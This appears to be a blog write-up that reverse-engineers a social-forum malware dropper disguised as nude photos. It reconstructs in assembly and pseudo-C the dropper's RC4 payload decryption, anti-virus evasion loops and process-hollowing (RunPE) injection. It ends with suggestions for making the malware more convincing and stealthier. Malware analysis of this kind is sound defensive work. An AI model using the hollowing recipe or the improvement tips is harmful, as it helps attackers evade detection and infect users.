The following is a dissassembly and reverse engineering session of a malware sample[1] which was found being spammed to various social forums. The poster claimed that the file contained nude photos of his sister obtained while "fixing her laptop".
Given that the vast majority of executables distributed in this way turn out to be malicious in nature I uploaded it to VirusTotal with mixed results.
Out of all the Anti Virus programs on VirusTotal, only Avast versions 4 and 5 detected the sample as malicious, both identifying it as a verision of ProRAT[2]. However, even a cursory glance at the import table of this binary shows that it is neither a fully-fledged RAT nor has it been packed with any traditional packer (which could otherwise significantly skew detection results).
Intrigued by this I decided to investigate the binary further.
2 First Pass Information
When I first open up a binary in IDA, the first thing I will often do is to immediately check out the string and import tables. There are a couple of reaons for doing this.
First, a binary may give a lot of information away via these tables. String data can often be used to pinpoint the invocation of various operations that we want to trace or intercept such as file operations, pop up boxes etc and import data will tell us what external functions a binary uses and thus what operations it's equiped to carry out.
Secondly, we can often imply a lot of information simply from the state of these tables. Packed or obfuscated binaries, such as many instances of malware, will often encrypt strings and either mangle or completely forgo the import table.
2.1 String Table
In the case of this particular binary the string table isn't too enlighening in terms of what the program actually does, although there are a few informative tid bits.
../../../../gcc-4.4.1/libgcc/../gcc/config/i386/cygming-sharIn particular, the strings above show us that the binary was compiled by gcc from the mingw
Couldn't retrieve name of GCClib shared data atom
-GCCLIBCYGMING-EH-TDM1-SJLJ-GTHR-MINGW32
(http://www.mingw.org) suite.
Another interesting set of strings contain the names of Microsoft Windows versions (2000, XP, Vista etc). Given that the purported purpose of this binary is to be a self-extracting archive, what use would such information be to it?
2.2 Import Directory
The import table sheads some light on this question. We can immediately see that the binary imports the Windows API function GetVersionA, which obtains the version of the operating system the binary is running under. This would seem to suggest that the binary obtains the current operating system and checks to make sure it can run under it.
Beyond this there are no really suspicious functions being imported here, other than the partial giveaway of the Windows API function GetProcAddress. This function indicates that the binary is performing runtime DLL linking in addition to the compile-time linking displayed by the import table. So at the very least there is more to this binary than meets the eye.
Additionally, there are the Windows API functions FindResourceA, LoadResource and LockResource. These functionare are used to manipulate resources, such as icons, images and GUI components, within the PE executable. With this in mind, I decided to explore the resource section of the binary.
2.3 The Resource Section
By opening up the binary file in PE Explorer we can immediately see that it has two resource files embedded within it.
As it is plausible, although somewhat unlikely for a supposed self-extracting archive to store its files in the resource section I dumped out the longer file to analyse it. However, immediately upon examining it in a hex editor we can tell that it is obviously not a standard image file, but rather some seemingly managled data.
Potentially this could be a compressed image file, although this would be somewhat odd as most photo formats (i.e. jpeg) already use compression by default.
3 Disassembly
3.1 Dead code.
One of the first noticable things about this binary is the amount of 'dead' code it contains. When code is referred to as 'dead', it means that parts of the program, while valid code, are not actually executed at any point via the main program logic.
IDA Pro generally does a very good job of indentifying functions, although it can sometimes miss functions inserted into call tables such as in Windows drivers and IAT and SSDT hooks (this is because, to avoid confusion, IDA only marks as a function code it can find a path to from the original program entry point).
In this binary there are a number of obvious functions that IDA does not recognize. On further inspection it becomes obvious that there is no obvious call path to these functions from the application's entry point. As a lot of these 'dead' functions go on to call Windows API functions, I broke on the following addresses and ran the program in order to verify whether or not these supposedly dead functions were being called via some path that IDA was unable to recognise:
MapViewOfFileNone of the above functions were called during a normal program execution, leading us to believe that the functions that call these procedures are in fact dead code.
CreateFileA
CreateFileMappingA
GetVersionEx
With this in mind we have to ask ourselves why has this code been included but not executed by a any normally invoked code path?
There are a number of potential reasons for this. One very good reason is that due to how the spreader of this malware wanted it to be percieved it should at least pretend to act like a self-extracting zip file. Any exectable that acts in this way would need to call functions such as CreateFile and therefore having them in its input table, even if it doesn't need to call them, would help lend credability to the program.
Another potentially good reason for this is that the author of the malware wanted to be able to bypass Anti Virus scanners. One way to to do this is to add in extra code to the binary so as to eliminate any signatures that Anti Virus programs may be picking up on.
In any case, the code in question was not executed during a normal program run and was thus excluded from my analysis.
3.2 The Resource Extractor
After some fairly simple code tracing from the entry point, the first function of real note that we come to is what I've nicknamed the Resource Extractor and which can be found starting at address 00402028.
Fairly linear in structure, this routine begins by creating a mutex named sdcascdasds and then procedes to use a set of standard functions - calling in turn FindResourceA, LoadResource and LockResource on the embedded resources X and Z.
The only inteesting code in this function is the continual calls to GetModuleFileNameA and LocalAlloc. These happen in loops of 600,000 iterations and are probably added to bypass Anti Virus heuristics in some way. One example of such a loop is given below:
.text:00402088 loc_402088:Having loaded the embedded resources into memory, it pushes their start addresses onto the stack and calls the function at 00401328. If we look at the order that the values are copied onto the stack we can surmise that the this function has a prototype a little something like:
.text:00402088 mov [esp+148h+var_140], 0
.text:00402090 mov [esp+148h+var_144], 0
.text:00402098 mov [esp+148h+var_148], 0
.text:0040209F call GetModuleFileNameA
.text:004020A4 sub esp, 0Ch ; uFlags
.text:004020A7 mov [esp+148h+var_144], 0Ch
.text:004020AF mov [esp+148h+var_148], 0
.text:004020B6 call LocalAlloc
.text:004020BB sub esp, 8 ; hModule
.text:004020BE mov [esp+148h+var_140], 0
.text:004020C6 mov [esp+148h+var_144], 0
.text:004020CE mov [esp+148h+var_148], 0
.text:004020D5 call GetModuleFileNameA
.text:004020DA sub esp, 0Ch ; hModule
.text:004020DD inc ebx
.text:004020DE cmp ebx, 927BEh
.text:004020E4 jnz short loc_402088
function(void *X_data, void *Z_data, int X_len, int Z_len);If we cheat a little bit and look at the code after the call to this function, we can see that the result (stored in eax) is used as a parameter to the next function at address 00401CD0. By peeking ahead a bit more we can see this function in turn perform the following comparisons on this data:
00401D56 cmp word ptr [ebx], 5A4DhThe first compare is checking for the bytes "MZ" at the start of the data, the other is looking for the bytes "PE" at a certain offset into the data. Both of these are dead givaways that this function is expecting a PE executable file.
...
00401D6F cmp dword ptr [eax], 4550h
Therefore, we can expect that the function at 00401328 will most likely decrypt the data in the X resource leaving it as a PE executable.
3.3 The Decryption Routine (00401328)
From an initial analysis of this function, we can immediately tell that it's a lot more involved than what we've seen up until now. There are no function calls from this function, only a series of loops and involved data copies. This means that rather than simply trace function parameters and return values as we did in the last function, we're going to actually have to trace through the logic to see what it does.
Given what we learned in the previous function, it seems reasonable to assume that this function might perform some kind of decryption, although we won't know until we work our way through.
function:This initial block of code is very standard. It saves the frame pointer on the stack via the push instruction, copies the esp into ebp to create a new frame and then saves the values of edi, esi and ebx.
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 404h
xor eax, eax
lea esi, [ebp+var_40C]
After doing this it subtracts 1028 (404h) bytes from esp - this essentially gives this function 1028 bytes of local (stack) variable space to play with.
To finish this block sets eax to zero and loads the address of a stack variable into the esi register.
.text:0040133C loc_40133C:This next block is really rather simple and we can tell immediately that it's a loop, counting from 0 to 255 (< 256 or 100h).
.text:0040133C mov [esi+eax*4], eax
.text:0040133F inc eax
.text:00401340 cmp eax, 100h
.text:00401345 jnz short loc_40133C
.text:00401347 xor ebx, ebx
.text:00401349 xor ecx, ecx
.text:0040134B nop
The loops copies the value of eax (which enters the loop set to zero) into the variable pointed to esi at the offset [eax * 4].
If we were to convert this simple into C, it may look a little something like that.
int table[256];Let's move on to the next block of code.
for(i = 0; i < 256; i++)
{
table[i] = i;
}
.text:0040134C loc_40134C:Again, this is a basic loop which we can tell from the two instructions at 0040138E and 00401394.
.text:0040134C mov edi, [esi+ecx*4]
.text:0040134F add ebx, edi
.text:00401351 mov [ebp+var_410], ebx
.text:00401357 mov eax, ecx
.text:00401359 xor edx, edx
.text:0040135B div [ebp+arg_C]
.text:0040135E mov ebx, [ebp+arg_4]
.text:00401361 movzx eax, byte ptr [ebx+edx]
.text:00401365 add eax, [ebp+var_410]
.text:0040136B mov ebx, 0ECh
.text:00401370 cdq
.text:00401371 idiv ebx
.text:00401373 lea ebx, [edx+14h]
.text:00401376 mov eax, [ebp+ebx*4+var_40C]
.text:0040137D mov [esi+ecx*4], eax
.text:00401380 and edi, 0FFh
.text:00401386 mov [ebp+ebx*4+var_40C], edi
.text:0040138D inc ecx
.text:0040138E cmp ecx, 100h
.text:00401394 jnz short loc_40134C ; loop
.text:00401396 mov eax, [ebp+arg_8]
.text:00401399 test eax, eax
.text:0040139B jz short loc_4013FF
.text:0040139D xor esi, esi
.text:0040139F nop
The loop begins by retrieving data from the same table that was manipulated in the previous loop (stored in esi). The index and loop counter is in ecx.
This retrieved value is added to ebx, which enters the loop set to zero, and stored in a stack variable.
The next sequence starting at 00401357 is a good example of how modulo maths is executed at the assembly level.
A good example of a use of modular maths would be the following:
int arraylen = 400;In C the expression index % arraylen divides index by arraylen and returns the remainder.
char array[arraylen+3];
int index = 600;
array[index % arraylen] = 1;
In our example, 400 goes into 600 once with 200 left over; so our code would be the equivelent of:
array[200] = 1;At the assembly level this maths is performed by the div instruction.
.text:00401357 mov eax, ecxHere we see ecx, the loop counter, being copied into eax and edx being set to zero. The following div instruction causes eax to be divided by the fourth function argument, which we know to be the length of the data in the Z resource. This causes the quotient (the number of times that length goes into ecx) to be stored in eax, and the remainder to be stored in edx.
.text:00401359 xor edx, edx
.text:0040135B div [ebp+arg_C]
.text:0040135E mov ebx, [ebp+arg_4]
.text:00401361 movzx eax, byte ptr [ebx+edx]
edx is then used as an index when copying data from the second function argument.
In C, given the loops above might look a little something like this:
unsigned int i;
unsigned int b;
unsigned int table[256];
unsigned int c;
unsigned int d = 0
for(i = 0; i < 256; i++)
{
c = table[i];
d += c;
b = Z_data[i % Z_len];
}
d = 0;
To anyone even vaguely interested in or exposed to cryptography this should be starting to look somewhat familier - what we are seeing here is basically the key initialization for an ARC4 implementation. If this is correct, if we set a breakpoint at 00401402 we should see a 40448 byte PE executable file starting at the address held in eax.
for(i = 0; i < 256; i++)
{
c = table[i];
d += c;
d = (d + Z_data[i % Z_len]) % 256;
table[i] = table[d];
table[d] = c;
}
As we can see in the screenshot, our initial analysis was correct and we can see the PE executable file data starting
at address 00409104.
In order to facilitate obtaining this second stage payload, I wrote a short script[3] for Immunity Debugger which dumps a specified number of bytes from a given address into an output file. The screenshot below shows this script in use.
As we know from the previous function, this decrypted data is now passed as a parameter to the function at 00401CD0.
3.4 Execution and Injection
If anything, this function is even more linear than the resource extraction routine, and it uses the same heuristics dodging/ofuscation loop as before. By analyzing the parameters pushed on the stack before this function is called we can determine that it has a function definition something like:
void exec_inject(char *filename, void *decrypted_exe)As noted above, it begins by performs the checks for the bytes "MZ" and "PE" and then begins a series of calls to GetProcAddress(GetModuleHandleA("XXXX"), "YYYY");
As we know, the GetProcAddress Windows API call obtains the addresses of other functions when given a handle to a module and the name of the function.
This program uses GetProcAddress to get the addresses of the following functions:
CreateProcessAAfter having resolved the addresses of these functions, the program goes on to call them in turn. To make sense of this code, let's go through it one function call at a time.
NTUnmapViewOfSection
VirtualAllocEx
NtWriteVirtualMemory
GetThreadContext
NtSetContextThread
ResumeThread
The program first creates a new instace of itself by passing its own module file name as the second argument to CreateProcessA(stored in esi).
CreateProcessA(0,"Ashley's Nude Pictures.exe", 0,0,0,4,0,0,&sd,&procinfo);The trick here is that by passing flags as 00000004 the process is created with the CREATE_SUSPENDED flag meaning that the process will not start running until ResumeThread is called on it.
We know that the NT PE headers are in eax, so [eax] refers to the member at +0 bytes (the first member). Therefore the call to NtUnmapViewOfSection looks like this:
NtUnmapViewOfSection(procinfo->handle, nthdrs->OPTIONAL_HEADER.ImageBase);Having unmapped the memory at the second stage payload's image base, the process is now free to reallocate that memory using VirtualAllocEx:
VirtualAllocEx(procinfo->handle, nthdrs->OPTIONAL_HEADER.ImageBase, nthdrs->OPTIONAL_HEADER.SizeOfImage, 0x3000, 0x40);And then copy its own headers back into the same memory space:
NtWriteVirtualMemory(procinfo->handle, nthdrs->OPTIONAL_HEADER.ImageBase, nthdrs->OPTIONAL_HEADER.SizeOfHeaders, 0);Next we come to the following loop
.text:00401FC6 mov edx, ds:dword_40700CAt first view the code here appears to be a nightmare. We can see that's referencing decrypted_exe (stored in dword_407008) and the IMAGE_NT_HEADERS (stored in dword_40700C). We can tell that the loop counter is stored in esi and that the loop is only entered if nthdrs->FileHeader->NumberOfSections is greater than zero. Usually this kind of assembly logic is representative of a for or while loop in C of the type:
.text:00401FCC add edi, 28h
.text:00401FCF movzx eax, word ptr [edx+6]
.text:00401FD3 cmp eax, esi
.text:00401FD5 jg short loc_401F7D
.text:00401F7D loc_401F7D:
.text:00401F7D mov eax, ds:dword_407008
.text:00401F82 mov eax, [eax+3Ch]
.text:00401F85 lea eax, [edi+eax+0F8h]
.text:00401F8C lea eax, [ebx+eax]
.text:00401F8F mov ds:dword_407010, eax
.text:00401F94 mov [esp+3E0h+var_3D0], 0
.text:00401F9C mov ecx, [eax+10h]
.text:00401F9F mov [esp+3E0h+var_3D4], ecx
.text:00401FA3 mov ecx, [eax+14h]
.text:00401FA6 add ecx, ebx
.text:00401FA8 mov [esp+3E0h+var_3D8], ecx
.text:00401FAC mov eax, [eax+0Ch]
.text:00401FAF add eax, [edx+34h]
.text:00401FB2 mov [esp+3E0h+var_3DC], eax
.text:00401FB6 mov eax, [ebp+var_28]
.text:00401FB9 mov [esp+3E0h+var_3E0], eax
.text:00401FBC call [ebp+NTWriteVirtualMemory]
.text:00401FC2 sub esp, 14h
.text:00401FC5 inc esi
.text:00401FC6 mov edx, ds:dword_40700C
.text:00401FCC add edi, 28h
.text:00401FCF movzx eax, word ptr [edx+6]
.text:00401FD3 cmp eax, esi
.text:00401FD5 jg short loc_401F7D
while(i < nthdrs->FileHeader->NumberOfSections)
{
...
}
From this we can surmise that this loop is traversing the section headers and, as we can see from the assembly, copying and manipulating data from within the structures IMAGE_SECTION_HEADER, IMAGE_NT_HEADERS and IMAGE_DOS_HEADER.
Usually it would be an absolute nightmare to count offsets into structures to find out what members each assembly operation is accessing. Luckily IDA allows us to cut right through this.
By adding standard structures from IDA's Structures tab, highlighting individual offsets and hitting the hotkey t we are able to select a representative structure definition and voila - the correct member for that offset is calculated and displayed directly in the disassembly.
Looking at the IDA screenshot we can already see that the code is massively improved - suddenly we can tell exactly what the code is doing.
Armed with the correct member names we can quickly convert all of the preceding code into pseudo-C:
PIMAGE_DOS_HEADER doshdr = decrypted_exe;Essentially this loop is going through the section headers one by one and copying the section data into the new process at the correct address.
PIMAGE_NT_HEADERS nthdrs = decrypted_exe + doshdr->e_lfanew;
PPROCESS_INFORMATION procinfo;
CreateProcessA(0,"Ashley's Nude Pictures.exe", 0,0,0,4,0,0,&hu,&procinfo);
NtUnmapViewOfSection(procinfo->hProcess, ntdhrs->OPTIONAL_HEADER.ImageBase);
VirtualAlloc(procinfo->hProcess, nthdrs->OPTIONAL_HEADER.ImageBase, nthdrs->OPTIONAL_HEADER.SizeOfImage, 0x3000, 0x40);
NtWriteVirtualMemory(procinfo->hProcess,nthdrs->OPTIONAL_HEADER.ImageBase, decrypted_exe, nthdrs->OPTIONAL_HEADER.SizeOfHeaders, 0);
int offset = 0;
int i =0 ;
while(i < nthdrs->FileHeader.NumberOfSections)
{
PIMAGE_SECTION_HEADER shdr;
shdr = decrypted_exe + (doshdr->e_lfnew + sizeof(IMAGE_NT_HEADERS) + offset);
NtWriteVirtualMemory(procinfo->hProcess, shdr->VirtualAddress + nthdrs->OPTIONAL_HEADER.ImageBase , decrypted_exe + shdr->PointerToRawData, shdr->SizeOfRawData, 0);
offset += 40;
i++;
}
GetThreadContext(procinfo->hThread, &context);Next, the GetThreadContext and NtSetContextThread functions are used to first obtain the thread's context (register set), modify eax to point to the new entry point (calculated as IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint + IMAGE_NT_HEADERS.OptionalHeader.ImageBase) and commit the new context back to the process' main thread.
context->eax = IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint + IMAGE_NT_HEADERS.OptionalHeader.ImageBase;
NtSetContextThread(proinfo->hThread, &context);
Finally the ResumeThread function is called to resume the new process and thereby launch a malicious executable without ever having to write the file to disk, a technique sometimes referred to as Nebbett's Shuttle.
ResumeThread(procinfo->hThread);4 Conclusions
To conclude, this sample is taking an rc4 encrypted binary and an rc4 key from its resource section, using the key to decrypt the binary and using Nebett's Shuttle to execute this binary in a somewhat stealthy fashion.
We can consider this sample to be a kind of crypter/dropper using very similar techniques to that seen in VBInject/VBCrypt/RunPE[4], albeit written in C++ rather than Visual Basic.
The large amount of dead code in this sample leads me to believe it's not a commercial or widely distributed product. I tend to believe that the attacker constructed it out of scraps of source code and example snippets. Often when an inexperienced programmer is manipulating code he doesn't understand he will be loathe to remove sections for fear of breaking his program.
It follows that the attacker/spreader built this program, possibly out of scraps of sample and example code before compiling with the freeware compiler mingw in order to hide the execution of a more common and/or commercial malware, although we will only find this out for sure upon analysing the second stage executable.
Below are a few ideas of how the author could have potentially improved this malware:
The first and easiest way to improve this malware would have been to have used a correct icon for the program. Using an icon corresponding to a Winzip self-extracting archive, for example would have lent an air of authenticity to the program.
Taking this further, the attacker could have added functionality for the program to dump out actual photo files to the hard disk, only performing the exe injection attack at the end.
The logical conclusion of this would be to name the file something like archive.zip.exe, use a correct zipfile icon and have the program emulate the Windows' zipfile extraction wizard. Although this may not help with foiling reverse engineering of the file, it would probably increase the malware's success rate dramatically.
A better alternative to executing a second, suspended, instance of the malware before loading the second stage exe over the top would be to relocate the second stage exe and write it into local VirtualAlloc'd memory before transfering control to the new entry point. This is the technique currently used by cutting-edge malware such as Zeus when performing non-PIC remote process code injection without DLLs and I think it would work just as well within a local process when wanting to perform stealth process execution.
What I found most interesting was that a large number of Anti-virus software did not detect this malware at all, and those that did detect it got it completely wrong. I therefore guess you could lable this a "zero-day" (albiet extremely lame) malware sample.
In the next few weeks (work, life and phases of the moon permitting) I hope to go on to analyze the second stage payload and if I'm successful I'll post the results up here.
5 References
[1] https://sites.google.com/site/ushirokesa/files/stash.zip?attredirects=0&d=1
[2] http://www.prorat.net/main.php?language=english
[3] https://sites.google.com/site/ushirokesa/files/dumptofile.py?attredirects=0&d=1
[4] http://interestingmalware.blogspot.com/2010/07/unpacking-vbinjectvbcryptrunpe.html
